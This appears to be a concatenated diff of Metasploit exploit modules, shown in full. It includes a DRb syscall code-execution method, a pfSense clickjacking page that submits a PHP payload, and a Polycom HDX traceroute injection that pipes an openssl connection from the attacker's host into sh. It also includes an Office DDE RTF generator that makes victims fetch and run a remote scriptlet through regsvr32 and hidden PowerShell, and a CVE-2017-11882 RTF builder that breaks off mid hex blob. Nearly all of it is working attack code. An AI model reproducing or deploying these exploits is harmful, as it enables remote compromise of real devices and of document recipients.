def method_syscall(p)
|
||||
filename = "." + Rex::Text.rand_text_alphanumeric(16)
|
||||
|
||||
begin
|
||||
# Decide if this is running on an x86 or x64 target.
|
||||
# This syscall number is getpid on x86, which will succeed,
|
||||
# or writev on x64, which will fail due to missing args.
|
||||
j = p.send(:syscall, 20)
|
||||
# syscall open
|
||||
i = p.send(:syscall, 8, filename, 0700)
|
||||
# syscall write
|
||||
p.send(:syscall, 4, i, "#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
|
||||
# syscall close
|
||||
p.send(:syscall, 6, i)
|
||||
# syscall fork
|
||||
p.send(:syscall, 2)
|
||||
# syscall execve
|
||||
p.send(:syscall, 11, filename, 0, 0)
|
||||
print_status("attempting x86 execve of #{filename}")
|
||||
|
||||
# likely x64
|
||||
rescue Errno::EBADF
|
||||
# syscall creat
|
||||
i = p.send(:syscall, 85, filename, 0700)
|
||||
# syscall write
|
||||
p.send(:syscall, 1, i, "#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
|
||||
# syscall close
|
||||
p.send(:syscall, 3, i)
|
||||
# syscall fork
|
||||
p.send(:syscall, 57)
|
||||
# syscall execve
|
||||
p.send(:syscall, 59, filename, 0, 0)
|
||||
print_status("attempting x64 execve of #{filename}")
|
||||
end
|
||||
|
||||
register_file_for_cleanup(filename) if filename
|
||||
end
|
||||
|
||||
def exploit
|
||||
if !datastore['URI'].blank? && !datastore['RHOST'].blank?
|
||||
print_error("URI and RHOST are specified, unset one")
|
||||
return
|
||||
end
|
||||
|
||||
if datastore['URI'].blank? && datastore['RHOST'].blank?
|
||||
print_error("neither URI nor RHOST are specified, set one")
|
||||
return
|
||||
end
|
||||
|
||||
unless datastore['URI'].blank?
|
||||
serveruri = datastore['URI']
|
||||
(datastore['RHOST'], datastore['RPORT']) = serveruri.sub(/druby:\/\//i, '').split(':')
|
||||
else
|
||||
serveruri = "druby://#{datastore['RHOST']}:#{datastore['RPORT']}"
|
||||
end
|
||||
|
||||
DRb.start_service
|
||||
p = DRbObject.new_with_uri(serveruri)
|
||||
class << p
|
||||
undef :send
|
||||
end
|
||||
|
||||
if target[:method] == 'auto'
|
||||
methods = ["instance_eval", "syscall", "trap"]
|
||||
else
|
||||
methods = [target[:method]]
|
||||
end
|
||||
|
||||
methods.each do |method|
|
||||
begin
|
||||
print_status("Trying to exploit #{method} method")
|
||||
send("method_" + method, p)
|
||||
handler(nil)
|
||||
break
|
||||
rescue SecurityError, DRb::DRbConnError, NoMethodError
|
||||
print_warning("Target is not vulnerable to #{method} method")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -26,6 +26,11 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
],
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X64,
|
||||
'Author' => [
|
||||
'chethan177', # earliest public discovery
|
||||
'lemiorhan', # making this well-known via Twitter
|
||||
'timwr', # Metasploit module
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp',
|
||||
|
|
|
@ -0,0 +1,153 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Clickjacking Vulnerability In CSRF Error Page pfSense',
|
||||
'Description' => %q{
|
||||
This module exploits a Clickjacking vulnerability in pfSense <= 2.4.1.
|
||||
|
||||
pfSense is a free and open source firewall and router. It was found that the
|
||||
pfSense WebGUI is vulnerable to Clickjacking. By tricking an authenticated admin
|
||||
into interacting with a specially crafted webpage it is possible for an attacker
|
||||
to execute arbitrary code in the WebGUI. Since the WebGUI runs as the root user,
|
||||
this will result in a full compromise of the pfSense instance.
|
||||
},
|
||||
'Author' => 'Yorick Koster',
|
||||
'Payload' => { 'BadChars' => '"' },
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://securify.nl/en/advisory/SFY20171101/clickjacking-vulnerability-in-csrf-error-page-pfsense.html'],
|
||||
['URL', 'https://doc.pfsense.org/index.php/2.4.2_New_Features_and_Changes']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process'
|
||||
},
|
||||
'Arch' => ARCH_PHP,
|
||||
'Platform' => 'php',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'pfSense <= 2.4.1', { 'auto' => false } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Nov 21 2017'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path to the web application', 'https://192.168.1.1'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def js_file
|
||||
@js ||= lambda {
|
||||
path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.js')
|
||||
return File.read(path)
|
||||
}.call
|
||||
end
|
||||
|
||||
def css_file
|
||||
@css ||= lambda {
|
||||
path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.css')
|
||||
return File.read(path)
|
||||
}.call
|
||||
end
|
||||
|
||||
def background_file
|
||||
@background ||= lambda {
|
||||
path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'background.jpg')
|
||||
return File.read(path)
|
||||
}.call
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("GET #{request.uri} #{request.headers['User-Agent']}")
|
||||
|
||||
resp = create_response(200, "OK")
|
||||
if request.uri =~ /\.js$/
|
||||
resp.body = js_file
|
||||
resp['Content-Type'] = 'text/javascript'
|
||||
|
||||
elsif request.uri =~ /\.css$/
|
||||
resp.body = css_file
|
||||
resp['Content-Type'] = 'text/css'
|
||||
|
||||
elsif request.uri =~ /\.jpg$/
|
||||
resp.body = background_file
|
||||
resp['Content-Type'] = 'image/jpg'
|
||||
|
||||
else
|
||||
if datastore['TARGETURI'].end_with? '/'
|
||||
url = datastore['TARGETURI'] + 'diag_command.php'
|
||||
else
|
||||
url = datastore['TARGETURI'] + '/diag_command.php'
|
||||
end
|
||||
framename = rand_text_alpha(16)
|
||||
divname = rand_text_alpha(16)
|
||||
resp.body = %Q|<!DOCTYPE html>
|
||||
<html>
|
||||
<meta charset="utf-8">
|
||||
<link rel="stylesheet" type="text/css" href="#{get_resource.chomp('/')}/cookieconsent.min.css" />
|
||||
<script src="#{get_resource.chomp('/')}/cookieconsent.min.js"></script>
|
||||
<script>
|
||||
window.addEventListener("load", function(){
|
||||
window.cookieconsent.initialise({
|
||||
"palette": {
|
||||
"popup": {
|
||||
"background": "#000",
|
||||
"text": "#0f0"
|
||||
},
|
||||
"button": {
|
||||
"background": "#0f0"
|
||||
}
|
||||
},
|
||||
"position": "top",
|
||||
"static": true
|
||||
});
|
||||
});
|
||||
</script>
|
||||
<script>
|
||||
document.cookie = 'cookieconsent_status=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';
|
||||
window.addEventListener('load', function(){
|
||||
document.forms[0].post.click();
|
||||
document.onmousemove = function(e) {
|
||||
var e = e \|\| window.event;
|
||||
var s = document.getElementById('#{divname}');
|
||||
s.style.left = (e.clientX - 10) + 'px';
|
||||
s.style.top = (e.clientY - 5) + 'px';
|
||||
};
|
||||
});
|
||||
</script>
|
||||
<body style="background-image:url(#{get_resource.chomp('/')}/background.jpg);background-size:cover;">
|
||||
<div id="#{divname}" style="position:absolute;z-index:10;border:none;width:20px;height:10px;overflow:hidden;opacity:0.0;">
|
||||
<iframe src="about:blank" name="#{framename}" sandbox="allow-forms" border="no" scrolling="no" width="800" height="800" style="width:400px;height:800px;margin-top:-70px;margin-left:-40px;"></iframe>
|
||||
</div>
|
||||
<div style="display:none">
|
||||
<form action="#{url}" method="POST" enctype="multipart/form-data" target="#{framename}">
|
||||
<input type="hidden" name="txtPHPCommand" value="#{payload.encoded}" />
|
||||
<input type="hidden" name="submit" value="EXECPHP" />
|
||||
<input type="submit" name="post"/>
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
resp['Content-Type'] = 'text/html'
|
||||
end
|
||||
|
||||
cli.send_response(resp)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,177 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Polycom Shell HDX Series Traceroute Command Execution',
|
||||
'Description' => %q{
|
||||
Within Polycom command shell, a command execution flaw exists in
|
||||
lan traceroute, one of the dev commands, which allows for an
|
||||
attacker to execute arbitrary payloads with telnet or openssl.
|
||||
},
|
||||
'Author' => [
|
||||
'Mumbai', #
|
||||
'staaldraad', # https://twitter.com/_staaldraad/
|
||||
'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # took some of the code from polycom_hdx_auth_bypass
|
||||
'h00die <mike@shorebreaksecurity.com>' # stole the code, creds to them
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://staaldraad.github.io/2017/11/12/polycom-hdx-rce/']
|
||||
],
|
||||
'DisclosureDate' => 'Nov 12 2017',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'Targets' => [[ 'Automatic', {} ]],
|
||||
'Payload' => {
|
||||
'Space' => 8000,
|
||||
'DisableNops' => true,
|
||||
'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnet generic openssl'}
|
||||
},
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST(),
|
||||
Opt::RPORT(23),
|
||||
OptString.new('PASSWORD', [ false, "Password to access console interface if required."]),
|
||||
OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),
|
||||
OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
connect
|
||||
Rex.sleep(1)
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
if !res && !res.empty?
|
||||
return Exploit::CheckCode::Unknown
|
||||
elsif res =~ /Welcome to ViewStation/ || res =~ /Polycom/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == Exploit::CheckCode::Detected
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to connect to target service")
|
||||
end
|
||||
|
||||
#
|
||||
# Obtain banner information
|
||||
#
|
||||
sock = connect
|
||||
Rex.sleep(2)
|
||||
banner = sock.get_once
|
||||
vprint_status("Received #{banner.length} bytes from service")
|
||||
vprint_line("#{banner}")
|
||||
if banner =~ /password/i
|
||||
print_status("Authentication enabled on device, authenticating with target...")
|
||||
if datastore['PASSWORD'].nil?
|
||||
print_error("#{peer} - Please supply a password to authenticate with")
|
||||
return
|
||||
end
|
||||
# couldnt find where to enable auth in web interface or telnet...but according to other module it exists..here in case.
|
||||
sock.put("#{datastore['PASSWORD']}\n")
|
||||
res = sock.get_once
|
||||
if res =~ /Polycom/
|
||||
print_good("#{peer} - Authenticated successfully with target.")
|
||||
elsif res =~ /failed/
|
||||
print_error("#{peer} - Invalid credentials for target.")
|
||||
return
|
||||
end
|
||||
elsif banner =~ /Polycom/ # praise jesus
|
||||
print_good("#{peer} - Device has no authentication, excellent!")
|
||||
end
|
||||
do_payload(sock)
|
||||
end
|
||||
|
||||
def do_payload(sock)
|
||||
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
|
||||
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
|
||||
|
||||
# Start a listener
|
||||
start_listener(true)
|
||||
|
||||
# Figure out the port we picked
|
||||
cbport = self.service.getsockname[2]
|
||||
cmd = "devcmds\nlan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}#{cbhost}${IFS}-port${IFS}#{cbport}|sh`\n"
|
||||
sock.put(cmd)
|
||||
if datastore['VERBOSE']
|
||||
Rex.sleep(2)
|
||||
resp = sock.get_once
|
||||
vprint_status("Received #{resp.length} bytes in response")
|
||||
vprint_line(resp)
|
||||
end
|
||||
|
||||
# Give time for our command to be queued and executed
|
||||
1.upto(5) do
|
||||
Rex.sleep(1)
|
||||
break if session_created?
|
||||
end
|
||||
end
|
||||
|
||||
def stage_final_payload(cli)
|
||||
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
|
||||
cli.put(payload.encoded + "\n")
|
||||
end
|
||||
|
||||
def start_listener(ssl = false)
|
||||
comm = datastore['ListenerComm']
|
||||
if comm == 'local'
|
||||
comm = ::Rex::Socket::Comm::Local
|
||||
else
|
||||
comm = nil
|
||||
end
|
||||
|
||||
self.service = Rex::Socket::TcpServer.create(
|
||||
'LocalPort' => datastore['CBPORT'],
|
||||
'SSL' => ssl,
|
||||
'SSLCert' => datastore['SSLCert'],
|
||||
'Comm' => comm,
|
||||
'Context' =>
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self
|
||||
}
|
||||
)
|
||||
|
||||
self.service.on_client_connect_proc = proc { |client|
|
||||
stage_final_payload(client)
|
||||
}
|
||||
|
||||
# Start the listening service
|
||||
self.service.start
|
||||
end
|
||||
|
||||
# Shut down any running services
|
||||
def cleanup
|
||||
super
|
||||
if self.service
|
||||
print_status("Shutting down payload stager listener...")
|
||||
begin
|
||||
self.service.deref if self.service.is_a?(Rex::Service)
|
||||
if self.service.is_a?(Rex::Socket)
|
||||
self.service.close
|
||||
self.service.stop
|
||||
end
|
||||
self.service = nil
|
||||
rescue ::Exception
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Accessor for our TCP payload stager
|
||||
attr_accessor :service
|
||||
end
|
|
@ -64,7 +64,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
print_error("Unable to login as #{user}")
|
||||
return
|
||||
end
|
||||
store_valid_credential(user: username, private: password, proof: cookie)
|
||||
store_valid_credential(user: user, private: password, proof: cookie)
|
||||
|
||||
print_status("Trying to upload payload")
|
||||
filename = "#{rand_text_alpha_lower(8)}.php"
|
||||
|
|
|
@ -0,0 +1,157 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Office DDE Payload Delivery',
|
||||
'Description' => %q{
|
||||
This module generates an DDE command to place within
|
||||
a word document, that when executed, will retrieve a HTA payload
|
||||
via HTTP from an web server.
|
||||
},
|
||||
'Author' => 'mumbai',
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Oct 9 2017',
|
||||
'References' => [
|
||||
['URL', 'https://gist.github.com/xillwillx/171c24c8e23512a891910824f506f563'],
|
||||
['URL', 'https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/']
|
||||
],
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Platform' => 'win',
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'Targets' =>
|
||||
[
|
||||
['Microsoft Office', {} ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Payload' => {
|
||||
'DisableNops' => true
|
||||
},
|
||||
'DefaultOptions' => {
|
||||
'DisablePayloadHandler' => false,
|
||||
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
|
||||
'EXITFUNC' => 'thread'
|
||||
}
|
||||
))
|
||||
register_options([
|
||||
OptString.new("FILENAME", [true, "Filename to save as", "msf.rtf"]),
|
||||
OptPath.new("INJECT_PATH", [false, "Path to file to inject", nil])
|
||||
])
|
||||
end
|
||||
|
||||
def gen_psh(url, *method)
|
||||
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
|
||||
|
||||
if method.include? 'string'
|
||||
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
|
||||
else
|
||||
# Random filename to use, if there isn't anything set
|
||||
random = "#{rand_text_alphanumeric 8}.exe"
|
||||
# Set filename (Use random filename if empty)
|
||||
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
|
||||
|
||||
# Set path (Use %TEMP% if empty)
|
||||
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')
|
||||
|
||||
# Join Path and Filename
|
||||
file = %Q(echo (#{path}+'\\#{filename}'))
|
||||
|
||||
# Generate download PowerShell command
|
||||
download_string = Rex::Powershell::PshMethods.download_run(url, file)
|
||||
end
|
||||
|
||||
download_and_run = "#{ignore_cert}#{download_string}"
|
||||
|
||||
# Generate main PowerShell command
|
||||
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
|
||||
end
|
||||
|
||||
def on_request_uri(cli, _request)
|
||||
if _request.raw_uri =~ /\.sct$/
|
||||
print_status("Handling request for .sct from #{cli.peerhost}")
|
||||
payload = gen_psh("#{get_uri}", "string")
|
||||
data = gen_sct_file(payload)
|
||||
send_response(cli, data, 'Content-Type' => 'text/plain')
|
||||
else
|
||||
print_status("Delivering payload to #{cli.peerhost}...")
|
||||
p = regenerate_payload(cli)
|
||||
data = cmd_psh_payload(p.encoded,
|
||||
payload_instance.arch.first,
|
||||
remove_comspec: true,
|
||||
exec_in_place: true
|
||||
)
|
||||
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def rand_class_id
|
||||
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
|
||||
end
|
||||
|
||||
|
||||
def gen_sct_file(command)
|
||||
# If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
|
||||
if command == ''
|
||||
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}
|
||||
# If a command is provided, tell the target system to execute it.
|
||||
else
|
||||
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
|
||||
end
|
||||
end
|
||||
|
||||
def retrieve_header(filename)
|
||||
if (not datastore['INJECT_PATH'].nil?)
|
||||
path = "#{datastore['INJECT_PATH']}"
|
||||
else
|
||||
path = nil
|
||||
end
|
||||
if (not path.nil?)
|
||||
if ::File.file?(path)
|
||||
::File.open(path, 'rb') do |fd|
|
||||
header = fd.read(fd.stat.size).split('{\*\datastore').first
|
||||
header = header.to_s
|
||||
print_status("Injecting #{path}...")
|
||||
return header
|
||||
end
|
||||
else
|
||||
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
|
||||
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
|
||||
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n"
|
||||
end
|
||||
else
|
||||
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
|
||||
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
|
||||
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n"
|
||||
end
|
||||
return header
|
||||
end
|
||||
|
||||
def create_rtf
|
||||
#
|
||||
header = retrieve_header(datastore['FILENAME'])
|
||||
field_class = '{\field{\*\fldinst {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid3807165 '
|
||||
field_class << "DDEAUTO C:\\\\\\\\Programs\\\\\\\\Microsoft\\\\\\\\Office\\\\\\\\MSword.exe\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe \"/c regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll\" }}"
|
||||
field_class << '{\fldrslt }}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sftnbj {\rtlch\fcs1 \af31507 \ltrch\fcs0' + "\n"
|
||||
field_class << '\insrsid5790315' + "\n"
|
||||
field_class << '\par }'
|
||||
footer = '}}' # footer
|
||||
rtf = header + field_class + footer
|
||||
rtf
|
||||
end
|
||||
|
||||
def primer
|
||||
file_create(create_rtf)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,315 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Office CVE-2017-11882',
|
||||
'Description' => %q{
|
||||
Module exploits a flaw in how the Equation Editor that
|
||||
allows an attacker to execute arbitrary code in RTF files without
|
||||
interaction. The vulnerability is caused by the Equation Editor,
|
||||
to which fails to properly handle OLE objects in memory.
|
||||
},
|
||||
'Author' => ['mumbai', 'embedi'],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Nov 15 2017',
|
||||
'References' => [
|
||||
['URL', 'https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about'],
|
||||
['URL', 'https://github.com/embedi/CVE-2017-11882']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Targets' => [
|
||||
['Microsoft Office', {} ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Payload' => {
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'thread',
|
||||
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new("FILENAME", [true, "Filename to save as, or inject", "msf.rtf"]),
|
||||
OptString.new("FOLDER_PATH", [false, "Path to file to inject", nil])
|
||||
])
|
||||
end
|
||||
|
||||
def retrieve_header(filename)
|
||||
if (not datastore['FOLDER_PATH'].nil?)
|
||||
path = "#{datastore['FOLDER_PATH']}/#{datastore['FILENAME']}"
|
||||
else
|
||||
path = nil
|
||||
end
|
||||
if (not path.nil?)
|
||||
if ::File.file?(path)
|
||||
File.open(path, 'rb') do |fd|
|
||||
header = fd.read(fd.stat.size).split('{\*\datastore').first
|
||||
header = header.to_s # otherwise I get nil class...
|
||||
print_status("Injecting #{path}...")
|
||||
return header
|
||||
end
|
||||
else
|
||||
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
|
||||
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
|
||||
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9'
|
||||
end
|
||||
else
|
||||
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
|
||||
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
|
||||
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9'
|
||||
end
|
||||
return header
|
||||
end
|
||||
|
||||
|
||||
|
||||
def generate_rtf
|
||||
header = retrieve_header(datastore['FILENAME'])
|
||||
object_class = '{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata '
|
||||
object_class << '01050000020000000b0000004571756174696f6e2e33000000000000000000000'
|
||||
object_class << 'c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff'
|
||||
object_class << '09000600000000000000000000000100000001000000000000000010000002000'
|
||||
object_class << '00001000000feffffff0000000000000000ffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff040'
|
||||
object_class << '00000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0'
|
||||
object_class << '07400720079000000000000000000000000000000000000000000000000000000'
|
||||
object_class << '00000000000000000000000000000000000016000500ffffffffffffffff02000'
|
||||
object_class << '00002ce020000000000c0000000000000460000000000000000000000008020ce'
|
||||
object_class << 'a5613cd30103000000000200000000000001004f006c006500000000000000000'
|
||||
object_class << '00000000000000000000000000000000000000000000000000000000000000000'
|
||||
object_class << '000000000000000000000000000000000a000201ffffffffffffffffffffffff0'
|
||||
object_class << '00000000000000000000000000000000000000000000000000000000000000000'
|
||||
object_class << '000000000000001400000000000000010043006f006d0070004f0062006a00000'
|
||||
object_class << '00000000000000000000000000000000000000000000000000000000000000000'
|
||||
object_class << '0000000000000000000000000000120002010100000003000000ffffffff00000'
|
||||
object_class << '00000000000000000000000000000000000000000000000000000000000000000'
|
||||
object_class << '0001000000660000000000000003004f0062006a0049006e0066006f000000000'
|
||||
object_class << '00000000000000000000000000000000000000000000000000000000000000000'
|
||||
object_class << '00000000000000000000000012000201ffffffff04000000ffffffff000000000'
|
||||
object_class << '00000000000000000000000000000000000000000000000000000000000000003'
|
||||
object_class << '0000000600000000000000feffffff02000000fefffffffeffffff05000000060'
|
||||
object_class << '0000007000000feffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
|
||||
